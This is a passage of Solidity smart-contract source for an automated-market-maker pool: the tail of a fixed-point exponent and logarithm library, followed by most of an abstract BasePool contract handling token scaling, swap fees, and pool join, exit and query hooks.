MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires // division by ONE_20. int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20); int256 z_squared = (z * z) / ONE_20; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_20; seriesSum += num / 3; num = (num * z_squared) / ONE_20; seriesSum += num / 5; num = (num * z_squared) / ONE_20; seriesSum += num / 7; num = (num * z_squared) / ONE_20; seriesSum += num / 9; num = (num * z_squared) / ONE_20; seriesSum += num / 11; // 6 Taylor terms are sufficient for 36 decimal precision. // Finally, we multiply by 2 (non fixed point) to compute ln(remainder) seriesSum *= 2; // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal // value. return (sum + seriesSum) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = ln_36(base); } else { logBase = ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = ln_36(arg); } else { logArg = ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev High precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument, * for x close to one. * * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND. */ function ln_36(int256 x) private pure returns (int256) { // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits // worthwhile. // First, we transform x to a 36 digit fixed point value. x *= ONE_18; // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1). // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1)) // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires // division by ONE_36. int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36); int256 z_squared = (z * z) / ONE_36; // num is the numerator of the series: the z^(2 * n + 1) term int256 num = z; // seriesSum holds the accumulated sum of each term in the series, starting with the initial z int256 seriesSum = num; // In each step, the numerator is multiplied by z^2 num = (num * z_squared) / ONE_36; seriesSum += num / 3; num = (num * z_squared) / ONE_36; seriesSum += num / 5; num = (num * z_squared) / ONE_36; seriesSum += num / 7; num = (num * z_squared) / ONE_36; seriesSum += num / 9; num = (num * z_squared) / ONE_36; seriesSum += num / 11; num = (num * z_squared) / ONE_36; seriesSum += num / 13; num = (num * z_squared) / ONE_36; seriesSum += num / 15; // 8 Taylor terms are sufficient for 36 decimal precision. // All that remains is multiplying by 2 (non fixed point). return seriesSum * 2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/math/FixedPoint.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/TemporarilyPausable.sol"; import "../lib/openzeppelin/ERC20.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; import "../vault/interfaces/IVault.sol"; import "../vault/interfaces/IBasePool.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total // count, resulting in a large number of state variables. // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set * of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _MAX_TOKENS = 8; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% uint256 private constant _MINIMUM_BPT = 1e6; uint256 internal _swapFeePercentage; IVault private immutable _vault; bytes32 private immutable _poolId; uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; IERC20 internal immutable _token4; IERC20 internal immutable _token5; IERC20 internal immutable _token6; IERC20 internal immutable _token7; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; uint256 internal immutable _scalingFactor4; uint256 internal immutable _scalingFactor5; uint256 internal immutable _scalingFactor6; uint256 internal immutable _scalingFactor7; event SwapFeePercentageChanged(uint256 swapFeePercentage); constructor( IVault vault, IVault.PoolSpecialization specialization, string memory name, string memory symbol, IERC20[] memory tokens, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(name, symbol) BasePoolAuthorization(owner) TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration) { _require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS); _require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS); // The Vault only requires the token list to be ordered for the Two Token Pools specialization. However, // to make the developer experience consistent, we are requiring this condition for all the native pools. // Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same // order. We rely on this property to make Pools simpler to write, as it lets us assume that the // order of token-specific parameters (such as token weights) will not change. InputHelpers.ensureArrayIsSorted(tokens); _setSwapFeePercentage(swapFeePercentage); bytes32 poolId = vault.registerPool(specialization); // Pass in zero addresses for Asset Managers vault.registerTokens(poolId, tokens, new address[](tokens.length)); // Set immutable state variables - these cannot be read from during construction _vault = vault; _poolId = poolId; _totalTokens = tokens.length; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens.length > 0 ? tokens[0] : IERC20(0); _token1 = tokens.length > 1 ? tokens[1] : IERC20(0); _token2 = tokens.length > 2 ? tokens[2] : IERC20(0); _token3 = tokens.length > 3 ? tokens[3] : IERC20(0); _token4 = tokens.length > 4 ? tokens[4] : IERC20(0); _token5 = tokens.length > 5 ? tokens[5] : IERC20(0); _token6 = tokens.length > 6 ? tokens[6] : IERC20(0); _token7 = tokens.length > 7 ? tokens[7] : IERC20(0); _scalingFactor0 = tokens.length > 0 ? _computeScalingFactor(tokens[0]) : 0; _scalingFactor1 = tokens.length > 1 ? _computeScalingFactor(tokens[1]) : 0; _scalingFactor2 = tokens.length > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = tokens.length > 3 ? _computeScalingFactor(tokens[3]) : 0; _scalingFactor4 = tokens.length > 4 ? _computeScalingFactor(tokens[4]) : 0; _scalingFactor5 = tokens.length > 5 ? _computeScalingFactor(tokens[5]) : 0; _scalingFactor6 = tokens.length > 6 ? _computeScalingFactor(tokens[6]) : 0; _scalingFactor7 = tokens.length > 7 ? _computeScalingFactor(tokens[7]) : 0; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view returns (bytes32) { return _poolId; } function _getTotalTokens() internal view returns (uint256) { return _totalTokens; } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _swapFeePercentage = swapFeePercentage; emit SwapFeePercentageChanged(swapFeePercentage); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } // Join / Exit Hooks modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); if (totalSupply() == 0) { (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); return (amountsIn, new uint256[](_getTotalTokens())); } else { _upscaleArray(balances, scalingFactors); (uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn, scalingFactors); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsIn, dueProtocolFeeAmounts); } } function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut, scalingFactors); _downscaleDownArray(dueProtocolFeeAmounts, scalingFactors); return (amountsOut, dueProtocolFeeAmounts); } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens()); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(_swapFeePercentage.complement()); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(_swapFeePercentage); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(IERC20 token) internal view returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else if (token == _token4) { return _scalingFactor4; } else if (token == _token5) { return _scalingFactor5; } else if (token == _token6) { return _scalingFactor6; } else if (token == _token7) { return _scalingFactor7; } else { _revert(Errors.INVALID_TOKEN); } } /** * @dev Returns all the scaling factors in the same order as the registered tokens. The Vault will always * pass balances in this order when calling any of the Pool hooks */ function _scalingFactors() internal view returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; } if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; } if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; } if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; } } return scalingFactors; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.mul(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, 